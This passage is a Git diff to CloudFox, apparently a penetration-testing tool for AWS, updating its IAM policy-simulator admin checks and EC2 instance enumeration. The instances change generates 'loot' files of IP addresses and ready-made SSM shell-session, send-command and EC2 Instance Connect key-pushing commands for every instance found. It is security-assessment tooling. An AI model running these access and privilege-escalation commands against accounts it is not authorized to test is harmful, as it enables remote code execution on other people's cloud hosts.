m.output.FullFilename = filepath.Join(fmt.Sprintf("%s-custom-%s", m.output.CallingModule, strconv.FormatInt((time.Now().Unix()), 10)))
actionList = append(actionList, action)
m.getPolicySimulatorResult((&principal), actionList, resource, dataReceiver)
} else {
// The user specified a specific --principal, but --action was empty
fmt.Printf("[%s] Checking to see if %s can do any actions of interest.\n", cyan(m.output.CallingModule), principal)
fmt.Printf("[%s][%s] Checking to see if %s can do any actions of interest.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), principal)
m.output.FullFilename = filepath.Join(fmt.Sprintf("%s-custom-%s", m.output.CallingModule, strconv.FormatInt((time.Now().Unix()), 10)))
m.getPolicySimulatorResult((&principal), defaultActionNames, resource, dataReceiver)
}
} else {
if action != "" {
// The did not specify a specific --principal, but they did specify an --action
fmt.Printf("[%s] Checking to see if any principal can do %s.\n", cyan(m.output.CallingModule), action)
fmt.Printf("[%s][%s] Checking to see if any principal can do %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), action)
m.output.FullFilename = filepath.Join(fmt.Sprintf("%s-custom-%s", m.output.CallingModule, strconv.FormatInt((time.Now().Unix()), 10)))
actionList = append(actionList, action)
wg.Add(1)
@@ -129,7 +124,7 @@ func (m *IamSimulatorModule) PrintIamSimulator(principal string, action string,
pmapperCommands = append(pmapperCommands, fmt.Sprintf("pmapper --profile %s query \"who can do %s with %s\" | tee %s\n", m.AWSProfile, action, resource, pmapperOutFileName))
} else {
// Both --principal and --action are empty. Run in default mode!
fmt.Printf("[%s] Running multiple iam-simulator queries for account %s. (This command can be pretty slow, FYI)\n", cyan(m.output.CallingModule), aws.ToString(m.Caller.Account))
fmt.Printf("[%s][%s] Running multiple iam-simulator queries for account %s. (This command can be pretty slow, FYI)\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
m.output.FullFilename = m.output.CallingModule
m.executeChecks(wg, resource, dataReceiver)
for _, action := range defaultActionNames {
@@ -141,10 +136,11 @@ func (m *IamSimulatorModule) PrintIamSimulator(principal string, action string,
}
wg.Wait()
//time.Sleep(time.Second * 2)
// Send a message to the spinner goroutine to close the channel and stop
spinnerDone <- true
<-spinnerDone
// Send a message to the data receiver goroutine to close the channel and stop
receiverDone <- true
<-receiverDone
@@ -175,19 +171,35 @@ func (m *IamSimulatorModule) PrintIamSimulator(principal string, action string,
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
fmt.Printf("[%s] We suggest running the pmapper commands in the loot file to get the same information but taking privesc paths into account.\n", cyan(m.output.CallingModule))
// fmt.Printf("[%s]\t\tpmapper --profile %s graph create\n", cyan(m.output.CallingModule), m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
fmt.Printf("[%s][%s] We suggest running the pmapper commands in the loot file to get the same information but taking privesc paths into account.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// fmt.Printf("[%s]\t\tpmapper --profile %s graph create\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.AWSProfile)
// for _, line := range pmapperCommands {
// fmt.Printf("[%s]\t\t%s", cyan(m.output.CallingModule), line)
// fmt.Printf("[%s]\t\t%s", cyan(m.output.CallingModule), cyan(m.AWSProfile), line)
// }
m.writeLoot(m.output.FilePath, verbosity, pmapperCommands)
m.writeLoot(o.Table.DirectoryName, verbosity, pmapperCommands)
} else if principal != "" || action != "" {
fmt.Printf("[%s] No allowed permissions identified, skipping the creation of an output file.\n", cyan(m.output.CallingModule))
fmt.Printf("[%s][%s] No allowed permissions identified, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func (m *IamSimulatorModule) writeLoot(outputDirectory string, verbosity int, pmapperCommands []string) {
@@ -212,12 +224,12 @@ func (m *IamSimulatorModule) writeLoot(outputDirectory string, verbosity int, pm
if verbosity > 2 {
fmt.Println()
fmt.Printf("[%s] %s \n", cyan(m.output.CallingModule), green("We suggest running these pmapper commands in the loot file to get the same information but taking privesc paths into account."))
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("We suggest running these pmapper commands in the loot file to get the same information but taking privesc paths into account."))
fmt.Print(out)
fmt.Printf("[%s] %s \n\n", cyan(m.output.CallingModule), green("End of loot file."))
fmt.Printf("[%s][%s] %s \n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("End of loot file."))
}
fmt.Printf("[%s] Loot written to [%s]\n", cyan(m.output.CallingModule), outFile)
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), outFile)
}
@@ -250,40 +262,31 @@ func (m *IamSimulatorModule) getIAMUsers(wg *sync.WaitGroup, actions []string, r
m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationControl *string
var adminCheckResult bool
for {
ListUsers, err := m.IAMClient.ListUsers(
context.TODO(),
&iam.ListUsersInput{
Marker: PaginationControl,
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
ListUsers, err := sdk.CachedIamListUsers(m.IAMClient, aws.ToString(m.Caller.Account))
for _, user := range ListUsers.Users {
//name := user.UserName
principal := user.Arn
adminCheckResult = m.policySimulatorAdminCheck(principal, adminActionNames, resource, dataReceiver)
if !adminCheckResult {
m.getPolicySimulatorResult(principal, actions, resource, dataReceiver)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
for _, user := range ListUsers {
//name := user.UserName
principal := user.Arn
adminCheckResult := m.isPrincipalAnAdmin(principal)
if adminCheckResult {
query := "Appears to be an administrator"
dataReceiver <- SimulatorResult{
AWSService: "IAM",
Principal: aws.ToString(principal),
Query: query,
Decision: "",
}
}
// Pagination control. After the last page of output, the for loop exits.
if ListUsers.Marker != nil {
PaginationControl = ListUsers.Marker
} else {
PaginationControl = nil
break
m.getPolicySimulatorResult(principal, actions, resource, dataReceiver)
}
}
}
@@ -298,113 +301,96 @@ func (m *IamSimulatorModule) getIAMRoles(wg *sync.WaitGroup, actions []string, r
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationControl *string
var adminCheckResult bool
for {
ListRoles, err := m.IAMClient.ListRoles(
context.TODO(),
&iam.ListRolesInput{
Marker: PaginationControl,
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
ListRoles, err := sdk.CachedIamListRoles(m.IAMClient, aws.ToString(m.Caller.Account))
for _, role := range ListRoles.Roles {
//name := user.UserName
principal := role.Arn
adminCheckResult = m.policySimulatorAdminCheck(principal, adminActionNames, resource, dataReceiver)
if !adminCheckResult {
m.getPolicySimulatorResult(principal, actions, resource, dataReceiver)
}
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
// Pagination control. After the last page of output, the for loop exits.
if ListRoles.Marker != nil {
PaginationControl = ListRoles.Marker
} else {
PaginationControl = nil
break
}
}
for _, role := range ListRoles {
//name := user.UserName
principal := role.Arn
adminCheckResult := m.isPrincipalAnAdmin(principal)
if adminCheckResult {
query := "Appears to be an administrator"
dataReceiver <- SimulatorResult{
AWSService: "IAM",
Principal: aws.ToString(principal),
Query: query,
Decision: "",
}
} else {
m.getPolicySimulatorResult(principal, actions, resource, dataReceiver)
}
}
}
func (m *IamSimulatorModule) getPolicySimulatorResult(principal *string, actionNames []string, resource string, dataReceiver chan SimulatorResult) {
var PaginationControl2 *string
//var policySourceArn = "*"
//var arn *string
var resourceArns []string
resourceArns = append(resourceArns, resource)
//var resourceArns = []string{"*"}
for {
SimulatePrincipalPolicy, err := m.IAMClient.SimulatePrincipalPolicy(
context.TODO(),
&iam.SimulatePrincipalPolicyInput{
Marker: PaginationControl2,
ActionNames: actionNames,
PolicySourceArn: principal,
ResourceArns: resourceArns,
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.modLog.Error(fmt.Sprintf("Failed to query actions for %s\n\n", aws.ToString(principal)))
EvaluationResults, err := sdk.CachedIamSimulatePrincipalPolicy(m.IAMClient, aws.ToString(m.Caller.Account), principal, actionNames, resourceArns)
break
}
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.modLog.Error(fmt.Sprintf("Failed to query actions for %s\n\n", aws.ToString(principal)))
return
}
for _, result := range SimulatePrincipalPolicy.EvaluationResults {
evalName := result.EvalActionName
query := fmt.Sprintf("can %s on %s", *evalName, resource)
decision := result.EvalDecision
if decision == "allowed" {
dataReceiver <- SimulatorResult{
AWSService: "IAM",
Principal: aws.ToString(principal),
Query: query,
Decision: string(decision),
}
for _, result := range EvaluationResults {
evalName := result.EvalActionName
query := fmt.Sprintf("can %s on %s", *evalName, resource)
decision := result.EvalDecision
if decision == "allowed" {
dataReceiver <- SimulatorResult{
AWSService: "IAM",
Principal: aws.ToString(principal),
Query: query,
Decision: string(decision),
}
}
// Pagination control. After the last page of output, the for loop exits.
if SimulatePrincipalPolicy.Marker != nil {
PaginationControl2 = SimulatePrincipalPolicy.Marker
} else {
PaginationControl2 = nil
break
}
}
}
func (m *IamSimulatorModule) policySimulatorAdminCheck(principal *string, actionNames []string, resource string, dataReceiver chan SimulatorResult) bool {
func (m *IamSimulatorModule) isPrincipalAnAdmin(principal *string) bool {
var PaginationControl2 *string
var resourceArns []string
resourceArns = append(resourceArns, resource)
resourceArns = append(resourceArns, "*")
var adminActionNames = []string{
"iam:PutUserPolicy",
"iam:AttachUserPolicy",
"iam:PutRolePolicy",
"iam:AttachRolePolicy",
"secretsmanager:GetSecretValue",
"ssm:GetDocument",
}
for {
SimulatePrincipalPolicy, err := m.IAMClient.SimulatePrincipalPolicy(
context.TODO(),
&iam.SimulatePrincipalPolicyInput{
Marker: PaginationControl2,
ActionNames: actionNames,
ActionNames: adminActionNames,
PolicySourceArn: principal,
ResourceArns: resourceArns,
},
)
if err != nil {
m.modLog.Error(err.Error())
//m.modLog.Error(err.Error())
TxtLogger.Println(err.Error())
m.CommandCounter.Error++
m.modLog.Error(fmt.Sprintf("Failed admin check on %s\n\n", aws.ToString(principal)))
//m.modLog.Error(fmt.Sprintf("Failed admin check on %s\n\n", aws.ToString(principal)))
TxtLogger.Printf("Failed admin check on %s\n\n", aws.ToString(principal))
return false
}
@@ -428,14 +414,5 @@ func (m *IamSimulatorModule) policySimulatorAdminCheck(principal *string, action
break
}
}
query := fmt.Sprintf("Appears to be an administrator")
dataReceiver <- SimulatorResult{
AWSService: "IAM",
Principal: aws.ToString(principal),
Query: query,
Decision: "",
}
return true
}
+304 -96
View File
@@ -10,31 +10,41 @@ import (
"strings"
"sync"
"github.com/BishopFox/cloudfox/console"
"github.com/BishopFox/cloudfox/utils"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/ec2"
"github.com/aws/aws-sdk-go-v2/service/ec2/types"
"github.com/aws/aws-sdk-go-v2/service/iam"
iamTypes "github.com/aws/aws-sdk-go-v2/service/iam/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/bishopfox/awsservicemap"
"github.com/sirupsen/logrus"
)
type InstancesModule struct {
// General configuration data
EC2Client *ec2.Client
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
Goroutines int
UserDataAttributesOnly bool
AWSProfile string
EC2Client *ec2.Client
IAMClient sdk.AWSIAMClientInterface
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
Goroutines int
UserDataAttributesOnly bool
AWSProfile string
WrapTable bool
InstanceProfileToRolesMap map[string][]iamTypes.Role
SkipAdminCheck bool
pmapperMod PmapperModule
pmapperError error
iamSimClient IamSimulatorModule
// Module's Results
MappedInstances []MappedInstance
CommandCounter console.CommandCounter
CommandCounter internal.CommandCounter
// Used to store output data for pretty printing
output utils.OutputData2
output internal.OutputData2
modLog *logrus.Entry
}
@@ -47,7 +57,10 @@ type MappedInstance struct {
ExternalIP string
PrivateIP string
Profile string
Admin string
Role string
Region string
CanPrivEsc string
}
func (m *InstancesModule) Instances(filter string, outputFormat string, outputDirectory string, verbosity int) {
@@ -55,47 +68,54 @@ func (m *InstancesModule) Instances(filter string, outputFormat string, outputDi
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "instances"
m.modLog = utils.TxtLogger.WithFields(logrus.Fields{
localAdminMap := make(map[string]bool)
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = utils.BuildAWSPath(m.Caller)
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
// regions, errtemp := m.EC2Client.DescribeRegions(
// context.TODO(),
// &ec2.DescribeRegionsInput{})
// if errtemp != nil {
// m.modLog.Error(errtemp.Error())
// }
// for _, reg := range regions.Regions {
// fmt.Println(*reg.RegionName)
// }
// Populate the instance profile to roles map. You can't use getInstanceProfile by name, so the only way to do this is to
// list all of the profiles, save the data, and then do the lookup yourself.
// Parses the type of filter being used (file with instances or single instance id)
var instancesToSearch []string
if filter == "all" {
instancesToSearch = []string{"all"}
} else {
instancesToSearch = utils.LoadFileLinesIntoArray(filter)
instancesToSearch = internal.LoadFileLinesIntoArray(filter)
}
//Connects to EC2 service and maps instances
fmt.Printf("[%s] Enumerating EC2 instances in all regions for account %s\n", cyan(m.output.CallingModule), aws.ToString(m.Caller.Account))
fmt.Printf("[%s][%s] Enumerating EC2 instances in all regions for account %s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
// Initialized the tools we'll need to check if any workload roles are admin or can privesc to admin
//fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
m.pmapperMod, m.pmapperError = initPmapperGraph(m.Caller, m.AWSProfile, m.Goroutines)
m.iamSimClient = initIAMSimClient(m.IAMClient, m.Caller, m.AWSProfile, m.Goroutines)
// if m.pmapperError != nil {
// fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// } else {
// fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// }
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
wg := new(sync.WaitGroup)
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
go console.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
//create a channel to receive the objects
dataReceiver := make(chan MappedInstance)
// Create a channel to signal to stop
receiverDone := make(chan bool)
go m.Receiver(dataReceiver, receiverDone)
m.getRolesFromInstanceProfiles()
for _, region := range m.AWSRegions {
wg.Add(1)
@@ -105,10 +125,22 @@ func (m *InstancesModule) Instances(filter string, outputFormat string, outputDi
}
wg.Wait()
//time.Sleep(time.Second * 2)
// Perform role analysis
if m.pmapperError == nil {
for i := range m.MappedInstances {
m.MappedInstances[i].Admin, m.MappedInstances[i].CanPrivEsc = GetPmapperResults(m.SkipAdminCheck, m.pmapperMod, &m.MappedInstances[i].Role)
}
} else {
for i := range m.MappedInstances {
m.MappedInstances[i].Admin, m.MappedInstances[i].CanPrivEsc = GetIamSimResult(m.SkipAdminCheck, &m.MappedInstances[i].Role, m.iamSimClient, localAdminMap)
}
}
// Send a message to the spinner goroutine to close the channel and stop
spinnerDone <- true
<-spinnerDone
// Send a message to the data receiver goroutine to close the channel and stop
receiverDone <- true
<-receiverDone
@@ -117,7 +149,7 @@ func (m *InstancesModule) Instances(filter string, outputFormat string, outputDi
if m.UserDataAttributesOnly {
m.printInstancesUserDataAttributesOnly(outputFormat, outputDirectory, dataReceiver)
} else {
m.printGeneralInstanceData(outputFormat, outputDirectory, dataReceiver)
m.printGeneralInstanceData(outputFormat, outputDirectory, dataReceiver, verbosity)
}
}
@@ -141,7 +173,7 @@ func (m *InstancesModule) printInstancesUserDataAttributesOnly(outputFormat stri
}()
m.output.CallingModule = "instance-userdata"
path := filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile, "loot")
path := filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)), "loot")
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
@@ -149,7 +181,7 @@ func (m *InstancesModule) printInstancesUserDataAttributesOnly(outputFormat stri
}
userDataFileName := filepath.Join(path, fmt.Sprintf("%s.txt", m.output.CallingModule))
var userDataOut string = fmt.Sprintf("=============================================\n")
var userDataOut string = fmt.Sprintln("=============================================")
for _, instance := range m.MappedInstances {
userData, err := m.getInstanceUserDataAttribute(aws.String(instance.ID), instance.Region)
@@ -165,13 +197,13 @@ func (m *InstancesModule) printInstancesUserDataAttributesOnly(outputFormat stri
userDataOut = userDataOut + fmt.Sprintf("Region: %s\n", instance.Region)
userDataOut = userDataOut + fmt.Sprintf("Instance Profile: %s\n\n", instance.Profile)
userDataOut = userDataOut + fmt.Sprintf("User Data: \n%s\n", aws.ToString(userData))
userDataOut = userDataOut + fmt.Sprintf("=============================================\n\n")
userDataOut = userDataOut + "=============================================\n\n"
}
}
}
// only create a file if if there is at least one instance AND at least one instance had user-data.
if (len(m.MappedInstances) > 0) && (userDataOut != "=============================================\n") {
if m.output.Verbosity > 1 {
if m.output.Verbosity > 2 {
fmt.Printf("%s", userDataOut)
}
err = os.WriteFile(userDataFileName, []byte(userDataOut), 0644)
@@ -179,56 +211,121 @@ func (m *InstancesModule) printInstancesUserDataAttributesOnly(outputFormat stri
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
fmt.Printf("[%s] Loot written to [%s]\n", cyan(m.output.CallingModule), userDataFileName)
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), userDataFileName)
} else {
fmt.Printf("[%s] No user data found, skipping the creation of an output file\n", cyan(m.output.CallingModule))
fmt.Printf("[%s][%s] No user data found, skipping the creation of an output file\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
}
func (m *InstancesModule) printGeneralInstanceData(outputFormat string, outputDirectory string, dataReceiver chan MappedInstance) {
func (m *InstancesModule) printGeneralInstanceData(outputFormat string, outputDirectory string, dataReceiver chan MappedInstance, verbosity int) {
// Prepare Table headers
//m.output.Headers = table.Row{
m.output.Headers = []string{
//"ID",
"Name",
"Arn",
"Zone",
"State",
"External IP",
"Internal IP",
"Profile",
}
//Table rows
for _, instance := range m.MappedInstances {
m.output.Body = append(
m.output.Body,
//table.Row{
[]string{
//instance.ID,
instance.Name,
instance.Arn,
instance.AvailabilityZone,
instance.State,
instance.ExternalIP,
instance.PrivateIP,
instance.Profile,
},
)
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
////m.output.OutputSelector(outputFormat)
utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
if m.pmapperError == nil {
m.writeLoot(m.output.FilePath)
fmt.Printf("[%s] %s instances found.\n", cyan(m.output.CallingModule), strconv.Itoa(len(m.output.Body)))
m.output.Headers = []string{
//"ID",
"Name",
//"Arn",
"ID",
"Zone",
"State",
"External IP",
"Internal IP",
"Role",
"IsAdminRole?",
"CanPrivEscToAdmin?",
}
} else {
m.output.Headers = []string{
//"ID",
"Name",
//"Arn",
"ID",
"Zone",
"State",
"External IP",
"Internal IP",
"Role",
"IsAdminRole?",
//"CanPrivEscToAdmin?",
}
}
//Table rows
if m.pmapperError == nil {
for _, instance := range m.MappedInstances {
m.output.Body = append(
m.output.Body,
//table.Row{
[]string{
//instance.ID,
instance.Name,
//instance.Arn,
instance.ID,
instance.AvailabilityZone,
instance.State,
instance.ExternalIP,
instance.PrivateIP,
instance.Role,
instance.Admin,
instance.CanPrivEsc,
},
)
}
} else {
for _, instance := range m.MappedInstances {
m.output.Body = append(
m.output.Body,
//table.Row{
[]string{
//instance.ID,
instance.Name,
//instance.Arn,
instance.ID,
instance.AvailabilityZone,
instance.State,
instance.ExternalIP,
instance.PrivateIP,
instance.Role,
instance.Admin,
//instance.CanPrivEsc,
},
)
}
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
////m.output.OutputSelector(outputFormat)
//utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
//internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s instances found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
fmt.Printf("[%s] No instances found, skipping the creation of an output file.\n", cyan(m.output.CallingModule))
fmt.Printf("[%s][%s] No instances found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
}
func (m *InstancesModule) writeLoot(outputDirectory string) {
func (m *InstancesModule) writeLoot(outputDirectory string, verbosity int) {
path := filepath.Join(outputDirectory, "loot")
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
@@ -237,9 +334,14 @@ func (m *InstancesModule) writeLoot(outputDirectory string) {
}
privateIPsFilename := filepath.Join(path, "instances-ec2PrivateIPs.txt")
publicIPsFilename := filepath.Join(path, "instances-ec2PublicIPs.txt")
ssmCommandsFilename := filepath.Join(path, "instances-ssmCommands.txt")
ec2InstanceConnectCommandsFilename := filepath.Join(path, "instances-ec2InstanceConnectCommands.txt")
var publicIPs string
var privateIPs string
var ssmCommands string
var ec2InstanceConnectCommands string
var headlineName string
for _, instance := range m.MappedInstances {
if instance.ExternalIP != "NoExternalIP" {
@@ -249,6 +351,32 @@ func (m *InstancesModule) writeLoot(outputDirectory string) {
privateIPs = privateIPs + fmt.Sprintln(instance.PrivateIP)
}
if instance.Name != "" {
headlineName = fmt.Sprintf("%s/%s", instance.Name, instance.ID)
} else {
headlineName = fmt.Sprintf("%s", instance.ID)
}
ssmCommands = ssmCommands + fmt.Sprintf("-----------------------------------------------------------------------\n")
ssmCommands = ssmCommands + fmt.Sprintf("############## Instance: %s ##############\n", headlineName)
ssmCommands = ssmCommands + fmt.Sprintf("-----------------------------------------------------------------------\n")
ssmCommands = ssmCommands + fmt.Sprintf("### SSM start-session to %s ###\n", headlineName)
ssmCommands = ssmCommands + fmt.Sprintf("# You'll need the AWS CLI session manager plugin installed: https://docs.aws.amazon.com/systems-manager/latest/userguide/session-manager-working-with-install-plugin.html\n")
ssmCommands = ssmCommands + fmt.Sprintf("aws --profile $profile --region %s ssm start-session --target %s\n\n", instance.Region, instance.ID)
ssmCommands = ssmCommands + fmt.Sprintf("### SSM send-command to %s ###\n", headlineName)
ssmCommands = ssmCommands + fmt.Sprintf("# If you just want to run one command you can use send-command, but really, start-session is way easier\n")
ssmCommands = ssmCommands + fmt.Sprintf("aws --profile $profile --region %s ssm send-command --instance-ids %s --document-name AWS-RunShellScript --parameters commands=\"aws sts get-caller-identity\" \n", instance.Region, instance.ID)
ssmCommands = ssmCommands + fmt.Sprintf("aws --profile $profile --region %s ssm get-command-invocation --output text --instance-id %s --command-id <command-id-from-previous-command>\n\n", instance.Region, instance.ID)
ec2InstanceConnectCommands = ec2InstanceConnectCommands + fmt.Sprintf("-----------------------------------------------------------------------\n")
ec2InstanceConnectCommands = ec2InstanceConnectCommands + fmt.Sprintf("############## Instance: %s ##############\n", headlineName)
ec2InstanceConnectCommands = ec2InstanceConnectCommands + fmt.Sprintf("-----------------------------------------------------------------------\n")
ec2InstanceConnectCommands = ec2InstanceConnectCommands + fmt.Sprintf("### EC2 Instance Connect to %s ###\n", instance.ID)
ec2InstanceConnectCommands = ec2InstanceConnectCommands + fmt.Sprintf("# You'll need to change the --instance-os-user and --ssh-public-key parameters to match your own setup\n")
ec2InstanceConnectCommands = ec2InstanceConnectCommands + fmt.Sprintf("aws --profile $profile --region %s ec2-instance-connect send-ssh-public-key --instance-id %s --instance-os-user ec2-user --ssh-public-key file://~/.ssh/id_rsa.pub\n\n", instance.Region, instance.ID)
}
err = os.WriteFile(privateIPsFilename, []byte(privateIPs), 0644)
if err != nil {
@@ -260,20 +388,55 @@ func (m *InstancesModule) writeLoot(outputDirectory string) {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
err = os.WriteFile(ssmCommandsFilename, []byte(ssmCommands), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
err = os.WriteFile(ec2InstanceConnectCommandsFilename, []byte(ec2InstanceConnectCommands), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
fmt.Printf("[%s] Loot written to [%s]\n", cyan(m.output.CallingModule), privateIPsFilename)
fmt.Printf("[%s] Loot written to [%s]\n", cyan(m.output.CallingModule), publicIPsFilename)
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), privateIPsFilename)
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), publicIPsFilename)
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), ssmCommandsFilename)
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), ec2InstanceConnectCommandsFilename)
if verbosity > 2 {
fmt.Println()
fmt.Printf("[%s][%s] %s \n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("Loot file for instance command:"))
fmt.Printf("Private IPs:\n\n")
fmt.Print(privateIPs)
fmt.Printf("Public IPs:\n\n")
fmt.Print(publicIPs)
fmt.Printf("SSM Commands:\n\n")
fmt.Print(ssmCommands)
fmt.Printf("EC2 Instance Connect Commands:\n\n")
fmt.Print(ec2InstanceConnectCommands)
fmt.Printf("[%s][%s] %s \n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("End of loot file."))
}
}
func (m *InstancesModule) executeChecks(instancesToSearch []string, r string, wg *sync.WaitGroup, dataReceiver chan MappedInstance) {
defer wg.Done()
m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
m.getDescribeInstances(instancesToSearch, r, dataReceiver)
m.CommandCounter.Executing--
m.CommandCounter.Complete++
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("ec2", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
m.getDescribeInstances(instancesToSearch, r, dataReceiver)
m.CommandCounter.Executing--
m.CommandCounter.Complete++
}
}
func (m *InstancesModule) getInstanceUserDataAttribute(instanceID *string, region string) (userData *string, err error) {
@@ -330,7 +493,7 @@ func (m *InstancesModule) getDescribeInstances(instancesToSearch []string, regio
for _, instance := range reservation.Instances {
if instancesToSearch[0] == "all" || utils.Contains(aws.ToString(instance.InstanceId), instancesToSearch) {
